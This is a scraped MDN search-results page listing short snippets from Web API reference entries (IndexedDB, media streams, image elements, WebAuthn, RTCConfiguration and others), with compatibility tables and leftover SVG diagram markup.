... errors fileerror.invalid_modification_err the requested operation involves an impossible change, such as moving a directory inside itself or one of its own child directories, or copying an item within the same directory without renaming it.
...And 4 more matches
FileSystemEntry.fullPath - Web APIs
this can also be thought of as a path which is relative to the root directory, with a "/" prepended to it to make it absolute.
... example this example shows a function which is called with a file system; it then gets a filesystemfileentry for a file named data.json and returns its full path.
... function gotfilesystem(fs) { let path = ""; fs.root.getfile("data.json", { create: true, exclusive: true }, function(entry) { path = fullpath; }, handleerror(error)); return path; } obviously, this is somewhat contrived, since we know that the file's full path is "/data.json", having just looked it up ourselves, but the concept holds up for scenarios in which you don't know it.
...And 4 more matches
GamepadEvent - Web APIs
the gamepadevent interface of the gamepad api contains references to gamepads connected to the system, which is what the gamepad events window.gamepadconnected and window.gamepaddisconnected are fired in response to.
... working draft initial definition browser compatibility desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgamepadeventchrome full support 35 full support 35 no support 21 — 34prefixed prefixed implemented with the vendor prefix: webkitedge ...
...to change preferences in firefox, visit about:config.ie no support noopera full support 22 full support 22 no support 15 — 21prefixed prefixed implemented with the vendor prefix: webkitsafari full support 10.1webv...
...And 4 more matches
GlobalEventHandlers.onanimationcancel - Web APIs
this can happen, for example, when the animation-name is changed such that the animation is removed, or when the animating node is hidden—either directly or because any of its containing nodes are hidden—using css.
...the function receives as input a single parameter: an animationevent object describing the event which occurred.
... @keyframes slidebox { from { left:0; top:0; } to { left:calc(100% - var(--boxwidth)); top:calc(100% - var(--boxwidth)) } } since the animation is described as taking place an infinite number of times, alternating direction each time, the box will glide back and forth between the two corners until stopped or the page is closed.
...And 4 more matches
GlobalEventHandlers.ontransitioncancel - Web APIs
the transition is cancelled when: the value of the transition-property property that applies to the target is changed the display property is set to "none".
...the function receives as input a single parameter: a transitionevent object describing the event which occurred; the event's transitionevent.elapsedtime property's value should be the same as the value of transition-duration.
... note: elapsedtime does not include time prior to the transition effect beginning; that means that the value of transition-delay doesn't affect the value of elapsedtime, which is zero until the delay period ends and the animation begins.
...And 4 more matches
GlobalEventHandlers.ontransitionend - Web APIs
one way this can happen is by changing the value of the transition-property attribute which applies to the target.
...the function receives as input a single parameter: a transitionevent object describing the event which occurred; the event's transitionevent.elapsedtime property's value should be the same as the value of transition-duration.
... elapsedtime does not include time prior to the transition effect beginning; that means that the value of transition-delay doesn't affect the value of elapsedtime, which is zero until the delay period ends and the animation begins.
...And 4 more matches
HTMLCollection - Web APIs
an htmlcollection in the html dom is live; it is automatically updated when the underlying document is changed.
... an alternative to accessing collection[i] (which instead returns undefined when i is out-of-bounds).
... htmlcollection.nameditem() returns the specific node whose id or, as a fallback, name matches the string specified by name.
...And 4 more matches
HTMLIFrameElement.allowPaymentRequest - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetallowpaymentrequest experimentalchrome full support 60disabled full support 60disabled disabled from version 60: this feature is behind the #web-payments preference (needs to be set to enabled).
... to change preferences in chrome, visit chrome://flags.edge full support 15firefox full support 56ie ?
...And 4 more matches
HTMLImageElement.align - Web APIs
the obsolete align property of the htmlimageelement interface is a string which indicates how to position the image relative to its container.
... you should instead use the css propertiy vertical-align, which does in fact also work on images despite its name.
... syntax htmlimageelement.align = alignmode; alignmode = htmlimageelement.align; value a domstring specifying one of the following strings which set the alignment mode for the image.
...And 4 more matches
HTMLImageElement.isMap - Web APIs
the htmlimageelement proeprty ismap is a boolean value which indicates that the image is to be used by a server-side image map.
... syntax htmlimageelement.ismap = true|false; let ismap = htmlimageelement.ismap; value a boolean value which is true if the image is being used for a server-side image map; otherwise, the value is false.
... usage notes when an image marked as being part of a server-side image map is clicked, the browser constructs the string "?x,y", where x and y indicate the coordinates at which the mouse was clicked as offsets from the top-left corner of the image, specified in css pixels.
...And 4 more matches
HTMLImageElement.loading - Web APIs
the htmlimageelement property loading is a string whose value provides a hint to the user agent that tells the browser how to handle loading images which are currently outside the window's visual viewport.
... syntax let imageloadscheduling = htmlimageelement.loading; htmlimageelement.loading = eagerorlazy; value a domstring providing a hint to the user agent as to how to best schedule the loading of the image to optimize page performance.
...when images are loaded eagerly (which is the default), every image in the document must be fetched before the load event can fire.
...And 4 more matches
HTMLImageElement.longDesc - Web APIs
the obsolete property longdesc on the htmlimageelement interface specifies the url of a text or html file which contains a long-form description of the image.
... syntax descurl = htmlimageelement.longdesc; htmlimageelement.longdesc = descurl; value a domstring which may be either an empty string (indicating that no long description is available) or the url of a file containing a long form description of the image's contents.
... for example, if the image is a png of a flowchart.
...And 4 more matches
HTMLImageElement.lowSrc - Web APIs
syntax htmlimageelement.lowsrc = imageurl; imageurl = htmlimageelement.lowsrc; value a domstring specifying the url of a version of the image specified by src which has been modified in some fashion so that it loads significantly more quickly than the primary image.
... there are a number of ways to achieve this; primary among them: higher compression levels (for example, a primary image saved as a jpeg using 85% quality might have a lowsrc version saved at 15%.
...instead, you should use an image format which loads progressively (such as progressive jpeg).
...And 4 more matches
HTMLImageElement.src - Web APIs
the htmlimageelement property src, which reflects the html src attribute, specifies the image to display in the <img> element.
... syntax htmlimageelement.src = newsource; let src = htmlimageelement.src; value when providing only a single image, rather than a set of images from which the browser selects the best match for the viewport size and display pixel density, the src attribute is a usvstring specifying the url of the desired image.
... as an equivalent for specifying an image in srcset with the size multiplier 1x; that is, the image specified by src is used on low-density screens (such as typical 72 dpi or 96 dpi displays).
...And 4 more matches
HTMLImageElement.useMap - Web APIs
the usemap property on the htmlimageelement interface reflects the value of the html usemap attribute, which is a string providing the name of the client-side image map to apply to the image.
... syntax htmlimageelement.usemap = imagemapanchor; let imagemapanchor = htmlimageelement.usemap; value a usvstring providing the page-local url (that is, a url that begins with the hash or pound symbol, "#") of the <map> element which defines the image map to apply to the image.
... usage notes the string value of usemap must be a valid anchor for a <map> element.
...And 4 more matches
HTMLImageElement.width - Web APIs
the width property of the htmlimageelement interface indicates the width at which the image is drawn, in css pixels if the image is being drawn or rendered to any visual medium such as the screen or a printer; otherwise, it's the natural, pixel density corrected width of the image.
...the terms in which the width is defined depends on whether the image is being rendered to a visual medium or not.
... if the image is being rendered to a visual medium such as a screen or printer, the width is expressed in css pixels.
...And 4 more matches
HTMLMarqueeElement - Web APIs
vg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/htmlmarqueeelement" target="_top"><rect x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmarqueeelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
...if no value is specified, the default value is −1, which means the marquee will scroll continuously.
... htmlmarqueeelement.scrollamount sets the amount of scrolling at each interval in pixels.
...And 4 more matches
HTMLMediaElement.play() - Web APIs
it returns a promise which is resolved when playback has been successfully started.
... failure to begin playback for any reason, such as permission issues, result in the promise being rejected.
... return value a promise which is resolved when playback has been started, or is rejected if for any reason playback cannot be started.
...And 4 more matches
HTMLOptionElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmloptionelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle...
...And 4 more matches
HTMLOutputElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmloutputelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle...
...And 4 more matches
HTMLTableCaptionElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltablecaptionelement" target="_top"><rect x="261" y="65" width="230" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="...
...And 4 more matches
HTMLTableColElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltablecolelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="midd...
...And 4 more matches
IDBCursor.direction - Web APIs
syntax var direction = cursor.direction; value a string (defined by the idbcursordirection enum) indicating the direction in which the cursor is traversing the data.
...within each iteration we log the direction of the cursor, something like this: prev note: we can't change the direction of travel of the cursor using the direction property, as it is read-only.
...also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
...And 4 more matches
IDBCursor.key - Web APIs
WebAPIIDBCursorkey
within each iteration we log the key of the cursor to the console, something like this (its the album title in each case, which is our key).
...also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
...aydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.key); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification status comment indexed database api 2.0the definition of 'key' in that specification.
...And 4 more matches
IDBCursor - Web APIs
WebAPIIDBCursor
note: not to be confused with idbcursorwithvalue which is just an idbcursor interface with an additional value property.
... the cursor has a source that indicates which index or object store it is iterating over.
...the cursor enables an application to asynchronously process all the records in the cursor's range.
...And 4 more matches
IDBEnvironment - Web APIs
the idbenvironment helper of the indexeddb api contains the indexeddb property, which provides access to indexeddb functionality.
... properties idbenvironment.indexeddb read only provides a mechanism for applications to asynchronously access capabilities of indexed databases; contains an idbfactory object.
... example the following code creates a request for a database to be opened asychronously, after which the database is opened when the request's onsuccess handler is fired: var db; function opendb() { var dbopenrequest = window.indexeddb.open("todolist"); dbopenrequest.onsuccess = function(e) { db = dbopenrequest.result; }; } browser compatibility the compatibility table on this page is generated from structured data.
...And 4 more matches
IDBFactory.deleteDatabase() - Web APIs
the method returns an idbopendbrequest object immediately, and performs the deletion operation asynchronously.
... when deletedatabase() is called, any other open connections to this particular database will get a versionchange event.
...note that attempting to delete a database that doesn't exist does not throw an exception, in contrast to idbdatabase.deleteobjectstore(), which does throw an exception if the named object store does not exist.
...And 4 more matches
IDBIndex.multiEntry - Web APIs
syntax var ismultientry = myindex.multientry; value a boolean: value effect true there is one record in the index for each item in an array of keys.
... false there is one record for each key that is an array.
... finally, we iterate through each record, and insert the data into an html table.
...And 4 more matches
IDBObjectStore.name - Web APIs
exceptions there are a several exceptions which can occur when you attempt to change an object store's name.
... invalidstateerror either the object store has been deleted or the current transaction is not an upgrade transaction; you can only rename indexes during upgrade transactions; that is, when the mode is "versionchange".
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 4 more matches
IDBRequest.error - Web APIs
WebAPIIDBRequesterror
in chrome 48+/firefox 58+ this property returns a domexception because domerror has been removed from the dom standard.
...a failure due to disk io errors is such an example.
... in addition to the error codes sent to the idbrequest object, asynchronous operations can also raise exceptions.
...And 4 more matches
IDBTransaction.mode - Web APIs
syntax var mycurrentmode = idbtransaction.mode; value an idbtransactionmode object defining the mode for isolating access to data in the current object stores: value explanation readonly allows data to be read but not changed.
... readwrite allows reading and writing of data in existing data stores to be changed.
... versionchange allows any operation to be performed, including ones that delete and create object stores and indexes.
...And 4 more matches
IDBTransaction.oncomplete - Web APIs
as of firefox 40, indexeddb transactions have relaxed durability guarantees to increase performance (see bug 1112702), which is the same behaviour as other indexeddb-supporting browsers.
...the complete event may thus be delivered quicker than before, however, there exists a small chance that the entire transaction will be lost if the os crashes or there is a loss of system power before the data is flushed to disk.
...note also the functions attached to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure.
...And 4 more matches
InputDeviceCapabilities API - Web APIs
for example, the first version of the api indicates whether a device fires touch events rather than whether it is a touch screen.
...for example, let's say we have a web page that implements both a touchstart and a mousedown event.
... we can assume that if the touchstart event is triggered that the user's device has a touch interface.
...And 4 more matches
InstallTrigger - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... the installtrigger interface is an interesting outlier in the apps api; it's included in this api but are inherited from the old mozilla xpinstall technology for installing add-ons.
...in either case, you must trigger the installation process by creating a web page script in which installtrigger methods download the specified xpi file and "trigger" the execution of the install.js script at the top level of that xpi.
...And 4 more matches
IntersectionObserver - Web APIs
the intersectionobserver interface of the intersection observer api provides a way to asynchronously observe changes in the intersection of a target element with an ancestor element or with a top-level document's viewport.
... when an intersectionobserver is created, it's configured to watch for given ratios of visibility within the root.
... the configuration cannot be changed once the intersectionobserver is created, so a given observer object is only useful for watching for specific changes in degree of visibility; however, you can watch multiple target elements with the same observer.
...And 4 more matches
KeyboardEvent.initKeyEvent() - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
...initkeyevent() must be called to set the event before it is dispatched.
... syntax event.initkeyevent (type, bubbles, cancelable, viewarg, ctrlkeyarg, altkeyarg, shiftkeyarg, metakeyarg, keycodearg, charcodearg) parameters type is a domstring representing the type of event.
...And 4 more matches
LockManager.request() - Web APIs
the request() method of the lockmanager interface requests a lock object with parameters specifying its name and characteristics.
... this shared/exclusive lock pattern is common in database transaction architecture, for example to allow multiple simultaneous readers (each requests a "shared" lock) but only one writer (a single "exclusive" lock).
...in the indexeddb api, this is exposed as "readonly" and "readwrite" transactions which have the same semantics.
...And 4 more matches
MediaRecorder.start() - Web APIs
the mediarecorder method start(), which is part of the mediastream recording api, begins recording media into one or more blob objects.
...then, each time that amount of media has been recorded, an event will be delivered to let you act upon the recorded media, while a new blob is created to record the next slice of the media assuming the mediarecorder's state is inactive, start() sets the state to recording, then begins capturing media from the input stream.
...each time a blob is filled up to that point (the timeslice duration or the end-of-media, if no slice duration was provided), a dataavailable event is sent to the mediarecorder with the recorded data.
...And 4 more matches
MediaStreamTrack.applyConstraints() - Web APIs
the applyconstraints() method of the mediastreamtrack interface applies a set of constraints to the track; these constraints let the web site or app establish ideal values and acceptable ranges of values for the constrainable properties of the track, such as frame rate, dimensions, echo cancelation, and so forth.
...the object may contain an advanced property containing an array of additional mediatrackconstrants objects, which are treated as exact requires.
... return value a promise which resolves when the constraints have been successfully applied.
...And 4 more matches
Media Capture and Streams API (Media Stream) - Web APIs
the media capture and streams api, often called the media streams api or simply mediastream api, is an api related to webrtc which provides support for streaming audio and video data.
... it provides the interfaces and methods for working with the streams and their constituent tracks, the constraints associated with data formats, the success and error callbacks when using the data asynchronously, and the events that are fired during the process.
...each mediastreamtrack may have one or more channels.
...And 4 more matches
Metadata - Web APIs
WebAPIMetadata
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmetadata experimentalnon-standardchrome full support 13prefixed full support 13prefixed prefixed implemented with the vendor prefix: webkitedge full support ≤79prefixed full support ≤79prefixed prefixed implemented with the vendor prefix: webkitfirefox no support noie no support noopera no support nosafari ...
... no support nowebview android no support nochrome android full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitfirefox android no support noopera android no support nosafari ios no support nosamsung internet android full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitmodificationtime experimentalnon-standardchrom...
...And 4 more matches
MouseEvent.button - Web APIs
WebAPIMouseEventbutton
the mouseevent.button read-only property indicates which button was pressed on the mouse to trigger the event.
... this property only guarantees to indicate which buttons are pressed during events caused by pressing or releasing one or multiple buttons.
... as such, it is not reliable for events such as mouseenter, mouseleave, mouseover, mouseout or mousemove.
...And 4 more matches
MutationObserverInit.attributeOldValue - Web APIs
the mutationobserverinit dictionary's optional attributeoldvalue property is used to specify whether or not to record the prior value of the altered attribute in mutationrecord objects denoting attribute value changes.
... syntax var options = { attributeoldvalue: true | false } value a boolean value indicating whether or not the prior value of a changed attribute should be included in the mutationobserver.oldvalue property when reporting attribute value changes.
... example in this example, a mutation observer is set up to watch for changes to the status and username attributes in any elements contained within a subtree that displays the names of users in a chat room.
...And 4 more matches
Navigator.getUserMedia() - Web APIs
the deprecated navigator.getusermedia() method prompts the user for permission to use up to one video input device (such as a camera or shared screen) and up to one audio input device (such as a microphone) as the source for a mediastream.
...if the user instead doesn't make a choice at all, neither callback is executed.
...while technically not deprecated, this old callback version is marked as such, since the specification strongly encourages using the newer promise returning version.
...And 4 more matches
NodeFilter.acceptNode() - Web APIs
the children of rejected nodes are not visited by the nodeiterator or treewalker object; this value is treated as "skip this node and all its children".
...the children of skipped nodes are still considered.
... this is treated as "skip this node but not its children".
...And 4 more matches
Notifications API - Web APIs
these are outside the top-level browsing context viewport, so therefore can be displayed even when the user has switched tabs or moved to a different app.
...first, the user needs to grant the current origin permission to display system notifications, which is generally done when the app or site initialises, using the notification.requestpermission() method.
... this should be done in response to a user gesture, such as clicking a button, for example: btn.addeventlistener('click', function() { let promise = notification.requestpermission(); // wait for permission }) this is not only best practice — you should not be spamming users with notifications they didn't agree to — but going forward browsers will explicitly disallow notifications not triggered in response to a user gesture.
...And 4 more matches
OVR_multiview2 - Web APIs
constants this extension exposes 4 constants that can be used in getparameter() or getframebufferattachmentparameter().
... framebuffer_attachment_texture_num_views_ovr number of views of the framebuffer object attachment.
... framebuffer_attachment_texture_base_view_index_ovr base view index of the framebuffer object attachment.
...And 4 more matches
OfflineAudioContext.OfflineAudioContext() - Web APIs
the offlineaudiocontext() constructor—part of the web audio api—creates and returns a new offlineaudiocontext object instance, which can then be used to render audio to an audiobuffer rather than to an audio output device.
... syntax var offlineaudioctx = new offlineaudiocontext(numberofchannels, length, samplerate); var offlineaudioctx = new offlineaudiocontext(options); parameters you can specify the parameters for the offlineaudiocontext() constructor as either the same set of parameters as are inputs into the audiocontext.createbuffer() method, or by passing those parameters in an options object.
... numberofchannels an integer specifying the number of channels the resulting audiobuffer should have.
...And 4 more matches
PannerNode.orientationY - Web APIs
the complete vector is defined by the position of the audio source, given as (positionx, positiony, positionz), and the orientation of the audio source (that is, the direction in which it's facing), given as (orientationx, orientationy, orientationz).
... the audioparam contained by this property is read only; however, you can still change the value of the parameter by assigning a new value to its audioparam.value property.
... example in this example, we'll demonstrate how changing the orientation parameters of a pannernode in combination with coneinnerangle and coneouterangle affects volume.
...And 4 more matches
PannerNode.orientationZ - Web APIs
the complete vector is defined by the position of the audio source, given as (positionx, positiony, positionz), and the orientation of the audio source (that is, the direction in which it's facing), given as (orientationx, orientationy, orientationz).
... the audioparam contained by this property is read only; however, you can still change the value of the parameter by assigning a new value to its audioparam.value property.
... example in this example, we'll demonstrate how changing the orientation parameters of a pannernode in combination with coneinnerangle and coneouterangle affects volume.
...And 4 more matches
PaymentDetailsUpdate - Web APIs
properties the paymentdetailsupdate dictionary is based on the paymentdetailsbase dictionary, and inherits its properties, which are included in the list below.
... displayitems optional an array of paymentitem objects, each describing one line item for the payment request.
... modifiers optional an array of paymentdetailsmodifier objects, each describing a modifier for particular payment method identifiers.
...And 4 more matches
PointerEvent.isPrimary - Web APIs
in a multi-pointer scenario (such as a touch screen that supports more than one touch point), this property is used to identify a master pointer among the set of active pointers for each pointer type.
...authors who desire only single-pointer interaction can achieve that by ignoring non-primary pointers.
...a pointer representing pen input is considered the primary pen input if its pointerdown event was dispatched when no other active pointers representing pen input existed.
...And 4 more matches
Proximity Events - Web APIs
these events make it possible to react to such a change, for example by shutting down the screen of a smartphone when the user is having a phone call with the device close to their ear.
... note: obviously, the api requires the device to have a proximity sensor, which are mostly available only on mobile devices.
... devices without such a sensor may support those events but will never fire them.
...And 4 more matches
PublicKeyCredentialCreationOptions.user - Web APIs
the user property of the publickeycredentialcreationoptions dictionary is an object describing the user account for which the credentials are generated (via navigator.credentials.create()).
... syntax useraccount = publickeycredentialcreationoptions.user properties displayname a domstring which is human readable and intended for display.
... icon optional an url as a usvstring value which points to an image resource which can be the avatar image for the user.
...And 4 more matches
PublicKeyCredentialRequestOptions - Web APIs
the publickeycredentialrequestoptions dictionary of the web authentication api holds the options passed to navigator.credentials.get() in order to fetch a given publickeycredential.
... properties publickeycredentialrequestoptions.challenge a buffersource, emitted by the relying party's server and used as a cryptographic challenge.
... publickeycredentialrequestoptions.timeout optional a numerical hint, in milliseconds, which indicates the time the caller is willing to wait for the retrieval operation to complete.
...And 4 more matches
RTCConfiguration.bundlePolicy - Web APIs
the rtcconfiguration dictionary's bundlepolicy property is a string value indicating which sdp bundling policy, if any, to use for the underlying rtp streams used by an rtcpeerconnection.
...this string, which must be a member of the rtcbundlepolicy enumeration, has the following possible values: balanced the ice agent begins by creating one rtcdtlstransport to handle each type of content added: one for audio, one for video, and one for the rtc data channel, if applicable.
... if the remote peer isn't bundle-aware, the ice agent chooses one audio track and one video track and those two tracks are each assigned to the corresponding rtcdtlstransport.
...And 4 more matches
RTCConfiguration.certificates - Web APIs
]; let certificates = rtcconfiguration.certificates; value an array of rtccertificate objects, each specifying one security certificate available for use when connecting to a remote peer.
